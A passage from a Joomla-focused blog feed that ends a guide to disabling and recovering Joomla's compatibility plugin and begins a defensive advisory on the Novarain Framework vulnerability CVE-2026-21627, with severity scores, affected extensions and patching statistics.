&lt;li&gt;Test every page and feature. Visit the frontend, the admin panel, and trigger any scheduled tasks or AJAX features. Check forms, search, and any custom functionality.&lt;/li&gt;
&lt;li&gt;Read the error page. The typical error is &lt;code&gt;An error has occurred: 0 Class &apos;JPlugin&apos; not found&lt;/code&gt; or similar with &lt;code&gt;JTable&lt;/code&gt;, &lt;code&gt;JFactory&lt;/code&gt;, &lt;code&gt;JRegistry&lt;/code&gt;, etc. The class name in the error tells you exactly what deprecated API the extension is calling. Joomla does not write this error to its log files by default, which our guide to &lt;a href=&quot;https://mysites.guru/blog/joomla-class-jplugin-not-found/&quot;&gt;fixing Class “JPlugin” not found&lt;/a&gt; explains along with how to find the extension.&lt;/li&gt;
&lt;li&gt;Identify the extension. The stack trace on the error page shows which extension file triggered the error. That extension needs updating. &lt;strong&gt;Tip:&lt;/strong&gt; you may need to enable debug mode and set error reporting to Maximum in Joomla’s Global Configuration first, otherwise you’ll just see a generic error page. Also check if your template has a custom &lt;code&gt;error.php&lt;/code&gt; file that hides the real error behind a visitor-friendly page. Temporarily rename or remove it while testing so Joomla’s core error handler shows the raw stack trace instead.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If everything works with the plugin disabled, you’re clear. If something crashes, you now know exactly which extensions need attention.&lt;/p&gt;
&lt;h2&gt;What to Do When an Extension Needs the Compat Layer&lt;/h2&gt;
&lt;p&gt;You’ve disabled the compat plugin, your site crashed, and the error log says &lt;code&gt;Class &apos;JFactory&apos; not found&lt;/code&gt; in a third-party extension. Now what?&lt;/p&gt;
&lt;p&gt;If the extension has an update available, install it. Most actively maintained extensions were updated for Joomla 5 native compatibility years ago. Check the developer’s site or the &lt;a href=&quot;https://extensions.joomla.org/&quot;&gt;Joomla Extensions Directory&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If there’s no update, contact the developer and point them to the &lt;a href=&quot;https://manual.joomla.org/migrations/44-50/compat-plugin/&quot;&gt;Joomla migration documentation&lt;/a&gt;. The changes are usually straightforward, just replacing old class names with namespaced equivalents. &lt;code&gt;JFactory&lt;/code&gt; becomes &lt;code&gt;Joomla\CMS\Factory&lt;/code&gt;, &lt;code&gt;JPlugin&lt;/code&gt; becomes &lt;code&gt;Joomla\CMS\Plugin\CMSPlugin&lt;/code&gt;, and so on.&lt;/p&gt;
&lt;p&gt;If the extension is abandoned, find an alternative. An extension that still uses Joomla 4 class names in 2026 is not being maintained, and you shouldn’t depend on it for production. The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;manage all your extensions&lt;/a&gt; tool in mySites.guru can help you audit what’s installed across your sites.&lt;/p&gt;
&lt;p&gt;If it’s your own custom code, update the class references yourself. The Joomla project maintains a &lt;a href=&quot;https://manual.joomla.org/migrations/44-50/compat-plugin/&quot;&gt;complete mapping&lt;/a&gt; of old class names to new namespaced versions. Most replacements are a find-and-replace job.&lt;/p&gt;
&lt;h2&gt;How to Recover If Your Site Crashes After Disabling Compat&lt;/h2&gt;
&lt;p&gt;If you disabled the compat plugin on a live site (we said not to) and it’s now showing a white screen, you have three ways to get it back:&lt;/p&gt;
&lt;h3&gt;Option 1: Use mySites.guru (Fastest)&lt;/h3&gt;
&lt;p&gt;If the site is still connected to mySites.guru, use the remote toggle in the audit tool to re-enable the plugin. The connector communicates directly with the database, so it works even when the Joomla frontend is down.&lt;/p&gt;
&lt;h3&gt;Option 2: Edit the Database Directly&lt;/h3&gt;
&lt;p&gt;Connect to your database with phpMyAdmin, Adminer, SSH, or your host’s control panel (cPanel, Plesk, etc.):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;UPDATE&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;#__extensions&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;SET&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;enabled&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;element&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;compat&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  AND&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;folder&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;behaviour&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the Joomla 6 compat plugin (&lt;code&gt;plg_behaviour_compat6&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;UPDATE&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;#__extensions&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;SET&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;enabled&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;element&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;compat6&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  AND&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;folder&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;behaviour&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;#__&lt;/code&gt; with your actual table prefix (usually &lt;code&gt;jos_&lt;/code&gt; or whatever you set during installation).&lt;/p&gt;
&lt;h3&gt;Option 3: Upload a One-Off Script (Emergency)&lt;/h3&gt;
&lt;p&gt;If you have FTP but no database access, a small PHP script uploaded next to &lt;code&gt;configuration.php&lt;/code&gt; can make the same change and delete itself afterwards. Offline mode does not help here, because Joomla still loads its plugins while the site is offline. The full script, tested against a Joomla 6 extensions table, is in our post on &lt;a href=&quot;https://mysites.guru/blog/joomla-class-jplugin-not-found/#with-a-script-uploaded-to-the-site-root&quot;&gt;fixing Class “JPlugin” not found&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;You Must Disable &lt;code&gt;plg_behaviour_compat&lt;/code&gt; Before Upgrading to Joomla 6&lt;/h2&gt;
&lt;p&gt;This is worth calling out separately: Joomla requires that you disable the compat plugin &lt;strong&gt;before&lt;/strong&gt; upgrading from J5 to J6. &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1 brought further changes&lt;/a&gt; to extension APIs, so the sooner you clear the compat dependency the smoother your upgrade path will be. If your site breaks when you disable it, that’s Joomla telling you something isn’t ready. Re-enable it, fix the incompatible extensions while still on J5, and then try the upgrade again.&lt;/p&gt;
&lt;p&gt;Extensions that were commonly reported as needing the compat plugin (as of 2024, most have since been updated): Convert Forms / NRFramework (Tassos), Acymailing (Acyba), Dropfiles/Droppics (JoomUnited), LSCache (LiteSpeed), and Ecwid. If you’re running any of these, make sure you’re on the latest version before disabling.&lt;/p&gt;
&lt;h2&gt;The Joomla Compat Plugin Migration Timeline&lt;/h2&gt;
&lt;p&gt;The lifecycle of Joomla’s compat plugins follows a predictable pattern:&lt;/p&gt;























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Plugin&lt;/th&gt;&lt;th&gt;Introduced&lt;/th&gt;&lt;th&gt;Covers&lt;/th&gt;&lt;th&gt;Removed&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;plg_behaviour_compat&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Joomla 5.0&lt;/td&gt;&lt;td&gt;Joomla 4 deprecated classes&lt;/td&gt;&lt;td&gt;Joomla 6.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;plg_behaviour_compat6&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Joomla 5.4&lt;/td&gt;&lt;td&gt;Joomla 5 deprecated classes&lt;/td&gt;&lt;td&gt;Joomla 7 (expected)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;If you’re running Joomla 5 today with the compat plugin enabled, you have until your Joomla 6 upgrade to sort it out. If you’re already on Joomla 6, the J4 compat layer is already gone - any extensions that needed it either broke during the upgrade or were updated beforehand.&lt;/p&gt;
&lt;p&gt;For Joomla 6 sites, the &lt;code&gt;plg_behaviour_compat6&lt;/code&gt; plugin gives you a similar grace period for J5 deprecated classes until Joomla 7 arrives.&lt;/p&gt;
&lt;p&gt;Joomla gives you one major version cycle to update your code. After that, the safety net disappears.&lt;/p&gt;
&lt;h2&gt;How to Prevent Accidental Joomla Version Jumps&lt;/h2&gt;
&lt;p&gt;While you’re testing compat plugin readiness, make sure your production sites aren’t set to accidentally upgrade to the next major version. The update channel controls which versions Joomla offers. Check out our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;how to prevent accidental Joomla version jumps&lt;/a&gt; to lock your sites to the current series until you’re ready.&lt;/p&gt;
&lt;p&gt;You can also check the update channel status for all your sites on the same &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Compatibility page&lt;/a&gt; that now shows compat plugin status.&lt;/p&gt;
&lt;h2&gt;Watch: Joomla Backward Compatibility Plugin Explained&lt;/h2&gt;
&lt;p&gt;Tim Davis from &lt;a href=&quot;https://www.youtube.com/@basicjoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; covered the backward compatibility plugin back in 2024, but the fundamentals haven’t changed. If you prefer video over text, this is still a solid walkthrough of what the plugin does and why it matters:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;p&gt;Check out his &lt;a href=&quot;https://www.youtube.com/@basicjoomla/search?query=mysites.guru&quot;&gt;full mySites.guru playlist on YouTube&lt;/a&gt; for more walkthroughs of the audit tools.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/44-50/compat-plugin/&quot;&gt;Compatibility Plugin (J4 to J5) - Joomla Programmers Documentation&lt;/a&gt; - official mapping of deprecated J4 classes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/54-60/compat-plugin/&quot;&gt;Compatibility Plugins (J5 to J6) - Joomla Programmers Documentation&lt;/a&gt; - official mapping of deprecated J5 classes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/february-2024/the-backward-compatibility-plugin-and-why-you-should-switch-it-off&quot;&gt;The Backward Compatibility Plugin and Why You Should Switch It Off - Joomla Magazine&lt;/a&gt; - Joomla community perspective&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/54-60/&quot;&gt;Joomla 5.4 to 6.0 Upgrade Notes - Joomla Documentation&lt;/a&gt; - full migration planning guide&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>extensions</category><category>compatibility</category><category>migration</category><enclosure url="https://mysites.guru/img/og/blog/joomla-compat-plugin-is-a-crutch.png" length="0" type="image/png"/></item><item><title>Novarain Framework Vulnerability: Check Your Joomla Sites for nrframework</title><link>https://mysites.guru/blog/novarain-framework-joomla-vulnerability/</link><guid isPermaLink="true">https://mysites.guru/blog/novarain-framework-joomla-vulnerability/</guid><description>CVE-2026-21627 (CVSS 9.5) in Tassos/Novarain Framework (plg_system_nrframework) for Joomla: unauthenticated file inclusion and SQL injection, fixed in 6.0.38.</description><pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos/Novarain Framework&lt;/a&gt; (plg_system_nrframework) for Joomla has a critical vulnerability (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21627&quot;&gt;CVE-2026-21627&lt;/a&gt;, CVSS 9.5) that allows unauthenticated attackers to include arbitrary PHP files, delete files, and perform SQL injection. A public exploit tool is already on GitHub.&lt;/p&gt;
&lt;p&gt;Most Joomla administrators don’t know this plugin is on their sites. It’s a hidden dependency, installed automatically when you add any Tassos.gr extension like Convert Forms, EngageBox, or Google Structured Data. If you manage Joomla sites and you’re not sure whether this affects you, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; to find out.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Why are we writing about this now?&lt;/p&gt;&lt;p&gt;This CVE was reserved in January 2026 and publicly disclosed on 16 February. Tassos.gr patched it within days. That was six weeks ago. We’re writing about it because 3,861 sites in our dataset - 46.5% of those running the Novarain Framework - are still on vulnerable versions as of 30 March 2026. The vendor did their job. The patch exists. But a patch no one installs protects no one, and a public exploit on GitHub means the window for automated attacks is wide open. If you manage Joomla sites with Tassos extensions and you haven’t checked, this post is for you.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-21627&lt;/strong&gt; - CVSS 9.5 critical unauthenticated vulnerability in plg_system_nrframework versions 4.10.14 through 6.0.37&lt;/li&gt;
&lt;li&gt;Attackers can include arbitrary PHP files, read files, delete files, and perform SQL injection through Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; endpoint - no login required&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to nrframework 6.0.38+&lt;/strong&gt; immediately via &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos.gr downloads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Affects every Joomla site running Convert Forms, EngageBox, Google Structured Data, Advanced Custom Fields, or Smile Pack&lt;/li&gt;
&lt;li&gt;A public exploit with multiple attack modes is available on GitHub&lt;/li&gt;
&lt;li&gt;Already compromised? Updating alone won’t undo the damage. &lt;a href=&quot;#how-do-you-check-if-your-site-has-been-exploited&quot;&gt;Check for signs of compromise below&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.5&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;SSD Secure Disclosure&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:H&lt;/dt&gt;&lt;dd&gt;High: The attacker has to defeat a mitigation first&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:P&lt;/dt&gt;&lt;dd&gt;Present: Needs a particular deployment or race to line up&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;This vulnerability was disclosed on 16 February 2026 and patched the same week. That was six weeks ago. As of 30 March 2026, 46.5% of affected sites in our dataset are still running vulnerable versions. A weaponised exploit tool with multiple attack modes is on GitHub. If you haven’t patched, your sites have been exposed for over a month.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;To their credit, &lt;a href=&quot;https://www.tassos.gr/blog/company/security-update-tassos-framework-patch-released&quot;&gt;Tassos.gr responded quickly&lt;/a&gt;. They published a security advisory on 18 February 2026, two days after the SSD disclosure, and confirmed patched versions for every affected extension on both &lt;a href=&quot;https://joomla3security.com/vendors/tassos/&quot;&gt;Joomla 3&lt;/a&gt; and Joomla 4/5/6. They also noted they had “no evidence that this vulnerability has been exploited in the wild” at the time of their advisory. The vendor did their part. The problem is that six weeks later, nearly half the sites running their framework haven’t applied the update.&lt;/p&gt;
&lt;h2&gt;What is the Novarain Framework?&lt;/h2&gt;
&lt;p&gt;The Novarain Framework (also called the Tassos Framework) is a shared library plugin for Joomla, distributed as &lt;code&gt;plg_system_nrframework&lt;/code&gt;. It provides common functionality - AJAX handling, custom fields, form processing, geo-IP lookups - used by every extension in the &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos.gr&lt;/a&gt; product suite.&lt;/p&gt;
&lt;p&gt;Every extension in the suite bundles it:&lt;/p&gt;








































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;What it does&lt;/th&gt;&lt;th&gt;JED ranking&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/convert-forms/&quot;&gt;&lt;strong&gt;Convert Forms&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Form builder (contact, payment, registration)&lt;/td&gt;&lt;td&gt;#2 on JED&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/engage-box/&quot;&gt;&lt;strong&gt;EngageBox&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Popup and sticky bar builder&lt;/td&gt;&lt;td&gt;#6 on JED&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/google-structured-data/&quot;&gt;&lt;strong&gt;Google Structured Data&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Schema markup for SEO&lt;/td&gt;&lt;td&gt;#20 on JED&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/advanced-custom-fields/&quot;&gt;&lt;strong&gt;Advanced Custom Fields&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Custom field types for Joomla&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/smile-pack/&quot;&gt;&lt;strong&gt;Smile Pack&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;UI enhancement toolkit&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/marketing/mailing-a-newsletter-bridges/user-auto-add-to-mailchimp-for-joomla/&quot;&gt;&lt;strong&gt;MailChimp Auto-Subscribe&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Mailing list automation&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;These are popular, well-regarded extensions. Over 2.1 million downloads across the suite. The framework itself is installed as a dependency. You won’t see “Novarain Framework” in any marketing material or installation wizard. It just appears in your plugin list as &lt;code&gt;plg_system_nrframework&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And that’s the problem. An admin installs Convert Forms to build a contact page. They don’t realise they’ve also installed a system plugin with its own AJAX endpoint, file handling methods, and database query layer. When that framework has a critical vulnerability, they don’t know to look for it.&lt;/p&gt;
&lt;h3&gt;How widespread is this?&lt;/h3&gt;
&lt;p&gt;We checked our own data. Across the tens of thousands of Joomla sites connected to mySites.guru:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Metric&lt;/th&gt;&lt;th&gt;Count&lt;/th&gt;&lt;th&gt;Percentage&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Sites with nrframework installed&lt;/td&gt;&lt;td&gt;&lt;strong&gt;8,297&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sites on vulnerable versions (&amp;lt; 6.0.38)&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3,861&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;46.5% of nrframework sites&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sites on patched versions (6.0.38+)&lt;/td&gt;&lt;td&gt;4,240&lt;/td&gt;&lt;td&gt;51.1% of nrframework sites&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Nearly half of the sites running the Novarain Framework are still on vulnerable versions. That’s 3,861 sites exposed to unauthenticated remote code execution, with a public exploit available.&lt;/p&gt;
&lt;p&gt;The most common vulnerable version we see is 6.0.37 (328 sites), sitting just one version behind the fix. Sites on older branches like 5.0.x (404 sites on 5.0.88) and 4.x (375 sites on 4.6.23) are also exposed and may need a larger version jump to reach the patched release.&lt;/p&gt;
&lt;p&gt;The version distribution tells a story about how Joomla extension updates actually work in practice. The largest single group (2,855 sites) is already on 6.0.68 - well past the fix. The second-largest group (1,018 sites) is on 6.0.62, also safe. These are sites with active Tassos.gr subscriptions and either automatic updates or attentive admins.&lt;/p&gt;
&lt;p&gt;The vulnerable sites are a mix: some are on the 6.0.x branch but haven’t updated since before the patch (the 328 sites on 6.0.37), some are on older major branches where the admin may not realise a security update is available (the 5.0.x and 4.x clusters), and some are on very old versions (58 sites still running 3.1.7) where the Tassos subscription likely expired years ago and updates simply aren’t available.&lt;/p&gt;
&lt;p&gt;That last group is the hardest to reach. They’re running abandoned extension versions on potentially abandoned Joomla installations, and no amount of vendor patching will fix them. The only way to find and address those sites is to have a central inventory that flags outdated and vulnerable extensions automatically.&lt;/p&gt;
&lt;h2&gt;How to find sites with nrframework installed with mySites.guru&lt;/h2&gt;
&lt;p&gt;Finding affected sites, checking versions, scanning logs, auditing for compromise - that takes about 10 minutes per site when done manually. If you manage 50 Joomla sites, that’s most of a working day. mySites.guru collapses that into minutes.&lt;/p&gt;
&lt;h3&gt;Find every affected site in seconds&lt;/h3&gt;
&lt;p&gt;mySites.guru tracks every installed extension on every connected site, including silent dependencies like nrframework. It’s one of the core features of &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; from a single dashboard. Search for &lt;code&gt;nrframework&lt;/code&gt; across your portfolio and you’ll see which sites have it, which version they’re running, and when it was last updated. That’s how we pulled the statistics for this post: 8,297 sites with nrframework, version breakdown by site, all from a single query.&lt;/p&gt;
&lt;p&gt;You don’t need to log into each Joomla admin panel and search the extensions list manually. The inventory is always current. One URL gives you the complete list of every site running nrframework, broken down by version number, with the site’s PHP version, Joomla version, and SSL status alongside it:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/novarain-mysites-extension-inventory.C_iKWpBw_Z2dzT2Y.webp&quot; srcset=&quot;https://mysites.guru/_astro/novarain-mysites-extension-inventory.C_iKWpBw_Z1mKM3g.webp 640w, https://mysites.guru/_astro/novarain-mysites-extension-inventory.C_iKWpBw_Z15wHFn.webp 750w, https://mysites.guru/_astro/novarain-mysites-extension-inventory.C_iKWpBw_ZdwWtX.webp 828w, https://mysites.guru/_astro/novarain-mysites-extension-inventory.C_iKWpBw_13pygJ.webp 1080w, https://mysites.guru/_astro/novarain-mysites-extension-inventory.C_iKWpBw_1VbXO4.webp 1280w, https://mysites.guru/_astro/novarain-mysites-extension-inventory.C_iKWpBw_yNoU5.webp 1668w, https://mysites.guru/_astro/novarain-mysites-extension-inventory.C_iKWpBw_ZhwweX.webp 2048w, https://mysites.guru/_astro/novarain-mysites-extension-inventory.C_iKWpBw_Z2iPi6r.webp 2560w, https://mysites.guru/_astro/novarain-mysites-extension-inventory.C_iKWpBw_Z2dzT2Y.webp 3190w&quot; alt=&quot;mySites.guru extension inventory showing all variants of plg_system_nrframework by Tassos Marinos across connected Joomla sites, with version numbers, PHP versions, SSL status, and Joomla versions visible for each site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3190px) 3190px, 100vw&quot; width=&quot;3190&quot; height=&quot;2272&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;If you’re already a mySites.guru subscriber, you can open this page right now:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;View all your nrframework installations&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/2e50e1aa3d94b70479ef905895ede5ed&quot;&gt;Open nrframework Extension Search&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Lists every version of plg_system_nrframework installed across all your connected sites, grouped by version number. You’ll see which sites are still on vulnerable versions at a glance.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Every version of nrframework installed across connected sites is listed at the top. Below that, every individual site running the plugin, with its exact version. Vulnerable and patched versions are visible at a glance.&lt;/p&gt;
&lt;p&gt;That turns a vulnerability announcement from a stressful afternoon of logging into admin panels into a five-minute triage. One page, the full picture of which clients are exposed, and patching can start immediately.&lt;/p&gt;
&lt;p&gt;If you don’t have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; and connect your sites. The extension index builds automatically on the first audit.&lt;/p&gt;
&lt;h3&gt;Get alerted the day a CVE drops&lt;/h3&gt;
&lt;p&gt;When a CVE like this one is disclosed, mySites.guru cross-references it against the extension versions on your connected sites and flags every affected installation. You get an alert telling you exactly which sites need patching, rather than finding out weeks later (or from this blog post).&lt;/p&gt;
&lt;h3&gt;Spot uploaded PHP shells before the damage spreads&lt;/h3&gt;
&lt;p&gt;If an attacker exploits CVE-2026-21627 to upload a PHP shell to &lt;code&gt;/images/&lt;/code&gt; or &lt;code&gt;/tmp/&lt;/code&gt;, mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change alerting&lt;/a&gt; picks it up. You’ll see which file was created, when, and on which site. That’s the difference between finding a backdoor in minutes and discovering it months later when Google flags your site for serving malware.&lt;/p&gt;
&lt;h3&gt;Push the patch to every site at once&lt;/h3&gt;
&lt;p&gt;Once you’ve confirmed the patched version works on a test site, use the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt; to push the Tassos extension update to every affected site in your portfolio simultaneously. One action, all sites patched, window of exposure closed.&lt;/p&gt;
&lt;h3&gt;Scan for backdoors if you were exposed&lt;/h3&gt;
